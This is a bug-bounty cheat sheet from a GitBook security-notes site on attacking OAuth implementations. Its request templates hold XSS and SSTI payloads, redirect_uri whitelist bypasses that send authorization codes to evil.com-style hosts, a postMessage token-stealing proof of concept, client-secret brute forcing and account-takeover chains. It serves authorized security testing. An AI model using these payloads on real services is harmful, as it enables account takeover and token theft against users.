Sec-88
  • 🧑Whoami
  • 🕸️Web-AppSec
    • Features Abuse
      • 2FA
      • Ban Feature
      • CAPTCHA
      • Commenting
      • Contact us
      • File-Upload
      • Inviting Feature
      • Messaging Features
      • Money-Related Features
      • Newsletter
      • Profile - Settings
      • Registration
      • Reset Password
      • Review
      • Rich Editor/Text
      • Social Sharing
      • Billing-Shipping Address Management
      • Integrations - Webhooks
      • API Key Management
    • Reconnaissance
      • Attacking Organizations with big scopes
    • Subdomain Enumeration
    • Fingerprinting
    • Dorking
    • XSS-HTML Injection
    • Improper Authentication
      • JWT Security
    • OAUTH Misconfigurations
      • OAuth 2.0 Basics
      • OAUTH Misconfigurations
    • Auth0 Misconfigurations
    • Broken Access Control
      • Insecure Direct Object References (IDOR)
      • 403 Bypass
    • Broken Link Injection
    • Command Injection
    • CORS
    • CRLF
    • CSRF
    • Host Header Attacks
    • HTTP request smuggling
    • JSON Request Testing
    • LFI
      • LFI to RCE
    • No Rate Limit
    • Parameters Manual Testing
    • Open Redirect
    • Registration & Takeover Bugs
    • Remote Code Execution (RCE)
    • Session Fixation
    • SQL Injection
      • SQL To RCE
    • SSRF
    • SSTI
    • Subdomain Takeover
    • Web Caching Vulnerabilities
    • WebSockets
    • XXE
      • XXE to RCE
    • Cookie Based Attacks
    • CMS
      • AEM [Adobe CMS]
    • XSSI (Cross Site Script Inclusion)
    • NoSQL injection
    • Local VS Remote Session Fixation
    • Protection
      • Security Mechanisms for Websites
      • Cookie Flags
      • SameSite Cookie Restrictions
      • Same-origin policy (SOP)
      • CSP
    • Hacking IIS Applications
    • Dependency Confusion
    • Attacking Secondary Context
    • Hacking Web Sockets
    • IDN Homograph Attack
    • DNS Rebinding Attack
    • LLM Hacking Checklist
    • Bypass URL Filtration
    • Cross-Site Path Traversal (CSPT)
    • PostMessage Security
    • Prototype Pollution
      • Client-Side Prototype Pollution
      • Server-Side prototype pollution
    • Tools-Extensions-Bookmarks
    • WAF Bypassing Techniques
    • SSL/TLS Certificate Lifecycle
    • Serialization in .NET
    • Client-Side Attacks
      • JavaScript Analysis
    • Bug Bounty Platforms/Programs
  • ✉️API-Sec
    • GraphQL API Security Testing
      • The Basics
      • GraphQL Communication
      • Setting Up a Vulnerable GraphQL Server
      • GraphQL Hacking Tools
      • GraphQL Attack Surface
      • RECONNAISSANCE
      • GraphQL DOS
      • Information Disclosure
      • AUTHENTICATION AND AUTHORIZATION BYPASSES
      • Injection Vulnerabilities in GraphQL
      • REQUEST FORGERY AND HIJACKING
      • VULNERABILITIES, REPORTS AND EXPLOITS
      • GraphQL Hacking Checklist
    • API Recon
    • API Token Attacks
    • Broken Object Level Authorization (BOLA)
    • Broken Authentication
    • Evasive Maneuvers
    • Improper Assets Management
    • Mass Assignment Attacks
    • SSRF
    • Injection Vulnerabilities
    • Excessive Data Exposure
    • OWASP API TOP 10 MindMap
    • Scanning APIs with OWASP ZAP
  • 📱Android-AppSec
    • Setup Android App Pentesting environment on Arch
    • Setup Android App Pentesting environment on Mac M4
    • Setup Android Pentesting Environment on Debian Linux
    • Android App Fundamentals
      • Android Architecture
      • Android Security Model
      • Android App Components
        • Intents
        • Pending Intents
    • Android App Components Security Cheatsheet
    • Android App Pentesting Checklist
    • How To Get APK file for application
    • ADB Commands
    • APK structure
    • Android Permissions
    • Exported Activity Hacking
    • BroadcastReceiver Hacking
    • Content Provider Hacking
    • Signing the APK
    • Reverse Engineering APK
    • Deep Links Hacking
    • Drozer Cheat Sheet
    • SMALI
      • SMALI Cheat Sheet
      • Smali Code Patching Guide
    • Intent Redirection Vulnerability
    • Janus Vulnerability (CVE-2017-13156)
    • Task Hijacking
    • Hacking Labs
      • Injured Android
      • Hacking the VulnWebView Lab
      • Hacking InsecureBankv2 App
    • Frida Cheat Sheet
  • 📶Network-Sec
    • Networking Fundamentals
    • Open Ports Security Testing
    • Vulnerability Scanning
    • Client Side Attacks
    • Port Redirection and Tunneling
    • Password Attacks
    • Privilege Escalation [PrevEsc]
      • Linux Privilege Escalation
    • Buffer Overflow (BOF)
      • VulnServer
      • Sync Breez Enterprize
      • Crashed CTF
      • BOF for Linux
    • AV Evasion
    • Post Exploitation
      • File Transfer
      • Maintaining Access
      • Pivoting
      • Clean Up
    • Active Directory
      • Basic AD Pentesting
  • 💻Desktop AppSec
    • Thin Client vs. Thick Client
  • ☁️Cloud Sec
    • Salesforce Hacking
      • Basics
      • Salesforce SAAS Apps Hacking
    • Firebase
    • S3 Buckets Misconfigurations
  • 👨‍💻Programming
    • HTML
    • JavaScript (JS)
      • window.location object
    • Python
      • Python Tips
      • Set
        • SetMethods
    • JAVA
      • Java Essentials
      • Java Essentials Code Notes
      • Java OOP1
      • JAVA OOP Principles
        • Inheritance
        • Method Overriding
        • Abstract Class
        • Interface
        • polymorphism
        • Encapsulation
        • Composition
      • Java OOP Challenges
      • Exception Handling
    • Go
      • Go Syntax Tutorial in one file
      • Methods and Interfaces
      • Go Slices
      • Go Maps
      • Go Functions
      • Concurrency
      • Read Files
      • Write Files
      • Package
        • How to make personal Package
        • regexp Packages
        • Json
        • bufio
        • Time
      • Signals-Exit
      • Unit Testing
  • 🖥️Operating Systems
    • Linux
      • Linux Commands
      • Tools
      • Linux File System
      • Bash Scripting guide
      • tmux
      • Git
      • Install Go tools from private repositories using GitHub PAT
    • VPS
    • Burp Suite
  • ✍️Write-Ups
    • Hunting Methodology
    • API BAC leads to PII Data Disclosure
    • Misconfigured OATUH leads to Pre-Account Takeover
    • Automating Bug Bounty with GitHub Actions
    • From Recon to Reward: My Bug Bounty Methodology when Hunting on Public Bug Bounty Programs
    • Exploring Subdomains: From Enumeration to Takeover Victory
    • 0-Click Account Takeover via Insecure Password Reset Feature
    • How a Simple Click Can Lead to Account Takeover: An OAuth Insecure Implementation Vulnerability
    • The Power Of IDOR even if it is unpredictable IDs
    • Unlocking the Weak Spot: Exploiting Insecure Password Reset Tokens
    • AI Under Siege: Discovering and Exploiting Vulnerabilities
    • Inside the Classroom: How We Hacked Our Way Past Authorization on a Leading EdTech Platform
    • How We Secured Our Client’s Platform Against Interaction-Free Account Thefts
    • Unchecked Privileges: The Hidden Risk of Role Escalation in Collaborative Platforms
    • Decoding Server Behavior: The Key to Mass Account Takeover
    • Exploiting JSON-Based CSRF: The Hidden Threat in Profile Management
    • How We Turned a Medium XSS into a High Bounty by Bypassing HttpOnly Cookie
Powered by GitBook
On this page
  • Brute Force to Get Legacy OR Unimplemented OAuth Flows
  • Modify hd= parameter
  • Remove email from scope
  • Use Access Token Of Your App Instead Of Auth Token Of Victim App
  • Change The Host Header
  • Insert Your Domain In Referer Header While
  • Insert admin@comapny.com in scope
  • IDOR in id= Parameter
  • Add JSON OR XML Extension To OAuth Endpoint
  • XSS in OAUTH Connect/Callback
  • Insert XSS Payloads To Cause Errors
  • SSTI in Scope Parameter
  • XSS in RedirectUri
  • Path Traversal to open Redirect
  • Authentication Bypass via OAuth Implicit Flow
  • Forced OAuth Profile Linking
  • CSRF
  • Insufficient Redirect URI Validation
  • SSRF via OpenID Dynamic Client Registration
  • Stealing OAuth Access Tokens via a Proxy Page
  • OAuth Account without email Address
  • Microsoft nOAuth Misconfiguration
  • Facebook OAuth Misconfiguration
  • OAuth Code Flaws
  • Access Token Scope Abuse
  • Pre-Account Takeover
  • Play With response_mode
  • Exploit XSS in the Authorization Server to steal Victim's code
  • POST-AUTH REDIRECT + LOGIN CSRF
  • Disclosure of Secrets
  • Client Secret Brute Force
  • ATO via OAUTH Hijacking
  • Referrer Header Leaking Code + State
  • Access Token Stored in Browser History
  • Everlasting Authorization Code
  • Authorization/Refresh Token Not Bound to Client
  • Refresh Token Issues
  • Race Conditions in OAuth 2 API Implementations
  • Summary
  • List Of Patterns To Bypass The Whitelist In Redirect URL Parameter
  • Use IDN Homograph Attack To Spoof Redirect URL Parameter
  • Black Characters
  • Change Request Method
  • Race Condition
  • XSS in the code= parameter
  • Reuse The Authorization Code With XSS Payloads
  • Use The OAuth Token With Logged In User In OAuth Provider
  • Exploit Post Messages
  • ATO Using OKTA SSO Misconfiguration

Was this helpful?

Edit on GitHub
  1. Web-AppSec
  2. OAUTH Misconfigurations

OAUTH Misconfigurations

PreviousOAuth 2.0 BasicsNextAuth0 Misconfigurations

Last updated 1 month ago

Was this helpful?

Brute Force to Get Legacy OR Unimplemented OAuth Flows

Modify hd= parameter

In OAuth Connect With Google , Try To Modify hd Parameter From company.com To gmail.com To Be Able To Connect With Your Email

GET /oauth/Connect?response_type=code&client_id=ID&scope=openid%20email&redirect_uri=https://company.com&nonce=Randim&hd=gmail.com HTTP/1.1
Host: www.company.com
User-Agent: Mozilla/5.0
Referer: https://previous.com/path
Origin: https://www.company.com
Accept-Encoding: gzip, deflate

Remove email from scope

Try To Remove Your Email From Scope Parameter While Signing Up OR Signing In With Services Provider To Get Account Takeover

Use Access Token Of Your App Instead Of Auth Token Of Victim App

1 - Create Facebook App
2 - Generate Access Token
3 - Go To Victim App And Click On The Facebook Sign In
 Button With Intercepting Traffic Using Burp Suite
4 - Change Value Of auth_token Parameter To
 The Access Token
5 - Forward The Request And You Will Be Login Since
 There Is No Validation Weather The Access Token
 Generated For Victim App OR Other App

Change The Host Header

GET /oauth/Connect HTTP/1.1
Host: me.com/www.company.com
User-Agent: Mozilla/5.0
Content-Type: application/x-www-form-urlencoded
Origin: https://www.company.com

Insert Your Domain In Referer Header While

GET /oauth/Connect HTTP/1.1
Host: www.company.com
User-Agent: Mozilla/5.0
Content-Type: application/x-www-form-urlencoded
Referer: https://me.com/path
Origin: https://www.company.com

Insert admin@comapny.com in scope

In OAuth Connect Request , Try To Insert admin@company.com as Value Of Email In Scope Parameter To Gain Extra Authorities OR Get More Functionalities

POST /oauth/Connect HTTP/1.1
Host: www.company.com
User-Agent: Mozilla/5.0
Content-Type: application/x-www-form-urlencoded
Content-Length: Number
firstname=I&lastname=am&image=URL&anti_csrf=CSRF
&email=admin@company.com&access_token=******

IDOR in id= Parameter

In OAuth Connect Request , Try To Recall Id In Scope Then Try To Change This Id To Id Of Logged In Account To Takeover This Account

POST /oauth/Connect HTTP/1.1
Host: www.company.com
User-Agent: Mozilla/5.0
Content-Type: application/x-www-form-urlencoded
Content-Length: Number
firstname=I&lastname=am&image=URL&anti_csrf=CSRF
&id=Id-Of-Another-Account&access_token=******

Add JSON OR XML Extension To OAuth Endpoint

In OAuth Connect Request , Try To Add JSON OR XML Extension To OAuth Endpoint e.g. oauth/connect.json , Maybe Token Expose In Response !

POST /oauth/Connect.json HTTP/1.1
Host: www.company.com
User-Agent: Mozilla/5.0
Content-Type: application/x-www-form-urlencoded
Content-Length: Number
type=token&client_id=ID&anti-csrf=&redirect_uri=URL

XSS in OAUTH Connect/Callback

GET /oauth/Connect?)%7D(alert)(location);%7B%3C!--&state=\&redirect_uri=URL&scope=read&type=code&client_id=ID& HTTP/1.1
Host: www.company.com
User-Agent: Mozilla/5.0
Referer: https://previous.com/path
Origin: https://www.company.com
Accept-Encoding: gzip, deflate

Insert XSS Payloads To Cause Errors

Try To Insert XSS Payloads e.g. XSS To Cause Errors

GET /oauth/Connect?
 client_id=<marquee loop=1 width=0 onfinish=
 pr\u006fmpt(document.domain)></marquee> HTTP/1.1
Host: www.company.com
User-Agent: Mozilla/5.0
Referer: https://me.com/path
Origin: https://www.company.com

SSTI in Scope Parameter

In OAuth Connect Request Try To Insert SSTI Payloads In Scope Parameter e.g. ${T(java.lang.Runtime).getRuntime().exec("calc.exe")} To Get RCE

GET /oauth/Connect?
 type=code&client_id=ID&state=Random&redirect_uri=URL
 &scope=${T(Java.lang.Runtime).getRuntime().
 exec("calc.exe")} HTTP/1.1
Host: www.company.com
User-Agent: Mozilla/5.0
Referer: https://previous.com/path
Origin: https://www.company.com
Accept-Encoding: gzip, deflate

XSS in RedirectUri

Try To Insert XSS Payloads As Value Of Redirect URL e.g. data:company.com;text/html;charset=UTF-8,%3Chtml%3E%3Cscript%3Edocument.write(document.domain);%3C%2Fscript%3E%3Ciframe/src= xxxxx%3Eaaaa%3C/iframe%3E%3C%2Fhtml%3E To GET DOM-Based XSS

GET /oauth/Connect?type=code&client_id=ID&state=Random
&redirect_uri=data:company.com;text/html;charset=UTF-8
,%3Chtml%3E%3Cscript%3Edocument.write(document.
domain);%3C%2Fscript%3E%3Ciframe/src=xxxxx%3Eaa
aa%3C/iframe%3E%3C%2Fhtml%3E&scope=read HTTP/1.1
Host: www.company.com
User-Agent: Mozilla/5.0
-----------------------------
POST /oauth/Connect HTTP/1.1
Host: www.company.com
User-Agent: Mozilla/5.0
Content-Type: application/x-www-form-urlencoded
Content-Length: Number
client_id=ID&client_secret=SECRET&type=Authorization&
code=Auth_code&redirect_uri=javascript:fetch('XSS')

Path Traversal to open Redirect

Try To Insert Redirect URL Parameter To Redirect URL As Value To Steal The Authorization Code OR The Access Token

GET /oauth/Connect?type=code&client_id=ID&state=Random
&redirect_uri=https://www.company.com.com/../../redirect_
uri=https://me.com&scope=read HTTP/1.1
Host: www.company.com
User-Agent: Mozilla/5.0
Referer: https://previous.com/path
Origin: https://www.company.com

Authentication Bypass via OAuth Implicit Flow

  1. Study OAuth flow starting from the authorization request GET /auth?client_id=[...].

  2. Client receives user info from the OAuth service.

  3. Client logs in by sending a POST request to its /authenticate endpoint with user info and access token.

  4. In Burp Repeater, modify the email in the POST request to impersonate another user.

  5. Right-click the POST request, select "Request in browser" > "In original session", visit the URL, and log in as another user.

Forced OAuth Profile Linking

  1. Sign in with a social media profile.

  2. Capture the request that includes redirect_uri in /auth?client_id[...].

  3. Check if the state parameter is present. If not, it’s vulnerable to CSRF.

  4. Copy the request URL from Burp, drop the request, and turn off intercept.

  5. Log out, send the link to the victim, or use an iframe on your website.

  6. Victim's browser completes the OAuth flow, linking your profile to their account.

CSRF

-  Integration Linking
-  no state parameter or 
-  state parameter static value 
-  Remove static parameter 

Insufficient Redirect URI Validation

Exploits:

  1. Open Redirect: Redirect sensitive data to an attacker-controlled server.

    • https://yourtweetreader.com/callback?redirectUrl=https://evil.com

    • Redirec_uri Bypasses

      - target.com.evil.com
      - //attacker.com
      - https://attacker.com\@target.com
      - https://attacker.com?@target.com
      - attacker.com%0d%0atarget.com
      - Open-Redirect/SSRF -> Bypass redirect_uri
  2. Path Traversal: https://yourtweetreader.com/callback/../redirect?url=https://evil.com

  3. Weak Regexes: https://yourtweetreader.com.evil.com

  4. HTML Injection: https://app.victim.com/login?redirectUrl=https://app.victim.com/dashboard</script><h1>test</h1>

  5. XSS: Reflecting redirect URL in response.

Steps:

  1. Identify the redirect_uri parameter.

  2. Construct an exploit URL to steal the authorization code.

  3. Use the stolen code to complete the OAuth flow.

SSRF via OpenID Dynamic Client Registration

  1. Browse /.well-known/openid-configuration to find the registration endpoint.

  2. Create a POST request to register a client.

  3. Test if the logo_uri parameter is vulnerable to SSRF.

Stealing OAuth Access Tokens via a Proxy Page

  1. Register a client using a POST request.

  2. Test logo_uri for SSRF to read metadata files.

OAuth Account without email Address

  1. Register account with phone number in 3rd party

  2. use this account to register on target

  3. in settings add victim email

Microsoft nOAuth Misconfiguration

Facebook OAuth Misconfiguration

  1. Click Sign in with Facbook

  2. Click "Edit Access"

  3. Uncheck Email address

  4. You loged in without email address

OAuth Code Flaws

  1. Reuse of authorization codes.

  2. Brute-force attacks on codes.

  3. Validity of a code across different applications.

Access Token Scope Abuse

  1. Use an access token to access elevated scope endpoints.

Pre-Account Takeover

  1. Register an account with the victim's email and attacker’s password.

  2. Victim uses OAuth to register, linking their account to the attacker’s credentials.

ALL ATTACKS WITH PROMPT=NONE TO MINIMISE INTERACTION

Play With response_mode

  1. The normal value to it is &response_mode=query

  2. By Changing it's value to fragment the code is leaked in the url after # character

Exploit XSS in the Authorization Server to steal Victim's code

  1. Make &response_mode=form_post and the response will be for that send's post request with code and state parameter

HTTP 200 OK

<form method="post" 
  action="https://target.com/cb">
<input name="code" value="A9bc5D2e"/>
</form>
  1. Attacker can steal the code and state parameter using this code

POST-AUTH REDIRECT + LOGIN CSRF

  1. There is endpoint vulnerable to open redirect using it to bypass redirect_uri Restrictions and using &response_mode=fragment to send code in url

  2. The website is vulnerable to an open redirect. After a user logs in, we can exploit the state parameter to perform a CSRF attack, causing the user to log into our account after completing the OAuth process. However, to steal the user's session/code when they log into the attacker-owned account, we can use &response_mode=fragment. This will send the user's code to an attacker-controlled site in the URL after the # sign, along with the attacker's code in the query.

Disclosure of Secrets

  • Leaking client_secret allows attackers to generate access tokens and access user data.

Client Secret Brute Force

  1. Brute force the client_secret to steal accounts.

    POST /token HTTP/1.1
    content-type: application/x-www-form-urlencoded
    host: target-server
    content-length: 135
    Connection: close
    
    code=authorization_code&redirect_uri=callback_url&grant_type=authorization_code&client_id=client_id&client_secret=[bruteforce]

ATO via OAUTH Hijacking

Referrer Header Leaking Code + State

  • Verify if the code and state are reflected in the Referrer header when the user navigates to another page.

Access Token Stored in Browser History

  • Ensure access tokens are not stored in browser history.

Everlasting Authorization Code

  • Authorization code should have a short lifespan to limit the attack window.

Authorization/Refresh Token Not Bound to Client

  • Ensure tokens are bound to the specific client.

Refresh Token Issues

Race Conditions in OAuth 2 API Implementations

  • Verify for potential race conditions that can lead to security issues.

Summary

OAuth implementations can be vulnerable to various security issues. By understanding these vulnerabilities and following the steps outlined, you can effectively test and secure OAuth flows.

References

List Of Patterns To Bypass The Whitelist In Redirect URL Parameter

https://me.com\@www.company.com
https://company.com\@me.com
https://me.com/.www.company.com
https://company.com/ @me.com
https://me.com\[company.com]
me.com%ff@company.com%2F
me.com%bf:@company.com%2F
me.com%252f@company.com%2F
//me.com%0a%2523.company.com
me.com://company.com
androideeplink://me.com\@company.com
androideeplink://a@company.com:@me.com
androideeplink://company.com
https://company.com.me.com\@company.com
company.com%252f@me.com%2fpath%2f%3
//me.com:%252525252f@company.com
company.com.evil.com
evil.com#company.com
evil.com?company.com
/%09/me.com
me.com%09company.com
/\me.com

Use IDN Homograph Attack To Spoof Redirect URL Parameter

Try To Use IDN Homograph Attack To Spoof Redirect URL Parameter To Steal The Authorization Code OR The Access Token

GET /oauth/Connect?type=code&client_id=ID&state=Random&redirect_uri=https://www.cṍmpany.com&scope=read HTTP/1.1
Host: www.company.com
User-Agent: Mozilla/5.0
Referer: https://previous.com/path
Origin: https://www.company.com

Black Characters

Try To Insert Invisible Range %00 To %FF in The URL e.g. me.com%5bcompany.com As Value Of Redirect URL Parameter

Change Request Method

Try To Change Request Method To e.g. GET , POST , HEAD OR PUT To Understand How Company Routes The Different Methods in OAuth Flow

HEAD /oauth/Connect?
 type=code&client_id=ID&state=Random
 &redirect_uri=URL&scope=read HTTP/1.1
Host: www.company.com
User-Agent: Mozilla/5.0
Referer: https://previous.com/path
Origin: https://www.company.com
Accept-Encoding: gzip, deflate

Race Condition

Try To Figure Out Reaction Of The Server While Doing Race Condition By Using Turbo Intruder OR Nuclei To Send Simultaneously Requests

GET /oauth/Callback?code=Valid HTTP/1.1
Host: www.company.com
X-Test: %s
email=victim@gmail.com&otp=wrongOTP

XSS in the code= parameter

Try To Insert XSS Payloads e.g. ,%2520alert(123))%253B// In The Authorization Code Parameter If Value Of Code Parameter Reflected

GET /oauth/Callback?code=,%2520alert(123))%253B// HTTP/1.1
Host: www.company.com
User-Agent: Mozilla/5.0
Referer: https://previous.com/path
Origin: https://www.company.com

Reuse The Authorization Code With XSS Payloads

If The Authorization Code Is Used More Than Once Try To Reuse The Authorization Code With XSS Payloads e.g. Codealert('XSS')

POST /oauth/Callback HTTP/1.1
Host: www.company.com
User-Agent: Mozilla/5.0
Content-Type: application/x-www-form-urlencoded
Referer: https://previous.com/path
Origin: https://www.company.com
Content-Length: Number
client_id=ID&client_secret=SECRET&type=Authorization&code=
Auth_Code<script>alert('XSS')</script>&redirect_uri=URL

Use The OAuth Token With Logged In User In OAuth Provider

*** If App Ask You Log In With OAuth Provider By Generating OAuth Token , Try To Use The OAuth Token With Logged In User In OAuth Provider

1 - I am logged in with app.com as Account One
2 - I open appservice.com
3 - I get https://api.app.com/oauth/?oauth_token=*****
4 - I did not move forward and shared this link with someone who
is logged in with app.com as Account Two
5 - Account Two grants the permission to the third Party App appservice.com
6 - Account One also grants the permission to the third Party App
appservice.com By Using The Same OAuth Token
7 - I Get Dashboard Of appservice.com of Account Two Not Account One

Exploit Post Messages

Try To Use Whitelist Subdomain With Endpoint Contains postMessage(Msg,"*"); In which Msg = window.location.href.split("#")[1]; To Steal The Access Token

1 - search About :-
var Msg = window.location.href.split("#")[1];
window.parent.postMessage(Msg,"*");
2 - There Isn't :-
X-Frame-Options Header
3 - Use This POC :-
var exploit_url = 'https://company.com/oauth?client_id=id&redirect_uri=
https://sub.company.com/postMsg.js';
var i = document.createElement('iframe');
document.body.appendChild(i);
window.addEventListener('oauth', function(Token) {alert(Token.data.name);
}, !1);

ATO Using OKTA SSO Misconfiguration

  • Suppose victim@gmail.com is a member of VictimOrganization on target.com.

  • The attacker creates AttackerOrganization on target.com and invites victim@gmail.com as a member

  • The attacker then sets up Okta and links it with their AttackerOrganization

  • In their Okta instance, the attacker creates a user account with the email victim@gmail.com

  • Using this fake(attacker) Okta account linked to victim@gmail.com, the attacker logs into target.com as victim@gmail.com

  • Since victim@gmail.com is also a member of VictimOrganization , the attacker is able to switch organizations within target.com, gaining unauthorized access to sensitive data and functionality.

.

🕸️
https://twitter.com/intigriti/status/1383397368691789825
https://hackerone.com/reports/101977
https://hackerone.com/reports/314808
https://www.arneswinnen.net/2017/06/authentication-bypass-on-airbnb-via-oauth-tokens-theft/
https://security.lauritz-holtmann.de/advisories/tiktok-account-takeover/
https://hackerone.com/reports/202781
https://medium.com/@iknowhatodo/what-about-refreshtoken-19914d3f2e46
Stealing Users OAuth Tokens through redirect_uri parameter
What about Refresh Token
Account Takeover Chain
https://deepsec.net/docs/Slides/2016/Go_Hack_Yourself..._Frans_Rosen.pdf
https://i.blackhat.com/asia-19/Fri-March-29/bh-asia-Wang-Make-Redirection-Evil-Again.pdf
https://twitter.com/kunalp94/status/1195321932612169728
https://twitter.com/kunalp94/status/1195321932612169728
https://research.nccgroup.com/2020/07/07/an-offensive-guide-to-the-authorization-code-grant/
https://elmahdi.tistory.com/4
Pre-Access to Victim’s Account via Facebook SignupMedium
Account Takeover via common misconfiguration in Facebook loginMedium
X (Formerly Twitter) disclosed on HackerOne: Account Takeover in...HackerOne
Logo
Bypassing Google Authentication on Periscope's Administration PanelJack
#BugBounty — “User Account Takeover-I just need your email id to login into your shopping portal…Medium
Logo
Logo
Basecamp disclosed on HackerOne: CSRF on launchpad.37signals.com...HackerOne
Zomato disclosed on HackerOne: Reflected XSS on https://www.zomato.comHackerOne
Logo
Logo
Logo
Reflected XSS in ZomatoMedium
Logo
Beware of the Magic SpEL(L) - Part 2 (CVE-2018-1260)GoSecure
StamOne_
One-click reflected XSS in www.instagram.com due to unfiltered URI schemes leads to account takeoverYoussef Sammouda
Login CSRF
Open Redirec in redirec_uri Leads to 1-Click ATO
With Interaction
With no Interaction
Slack disclosed on HackerOne: Broken Authentication (including...HackerOne
Logo
Oculus SSO “Account Linking” bug leads to account takeover on third party websites and inside VR Games/AppsYoussef Sammouda
nOAuth: Account Takeover via Microsoft OauthMedium
FB OAuth Misconfiguration Leads to Takeover any AccountMedium
OAuth Hijacking leads to account takeoverMedium
Semrush disclosed on HackerOne: OAuth `redirect_uri` bypass using...HackerOne
Logo
https://twitter.com/ElMrhassel/status/1282661956676182017twitter.com
Bypassing GitHub’s OAuth flowTeddy Katz’s Blog
Internet Bug Bounty disclosed on HackerOne: Race Conditions in...HackerOne
Logo
Shopify disclosed on HackerOne: XSS on support.shopify.comHackerOne
Logo
https://owasp.org/www-pdf-archive/20151215-Top_X_OAuth_2_Hacks-asanso.pdfowasp.org
OAuth 2 attacks and bug bounties - The Postman Always Rings Twice
Twitter disclosed on HackerOne: Problem with OAuthHackerOne
Logo
OAuth Misconfiguration Leads to Full Account takeoverInfoSec Write-ups
Facebook OAuth Framework VulnerabilityAmol Baikar
Logo
PlayStation disclosed on HackerOne: Access token stealing.HackerOne
Logo
Logo
Account Takeover using SSO LoginsMedium
Logo
Logo
Logo
Logo
Logo
Logo
Logo
Logo
Logo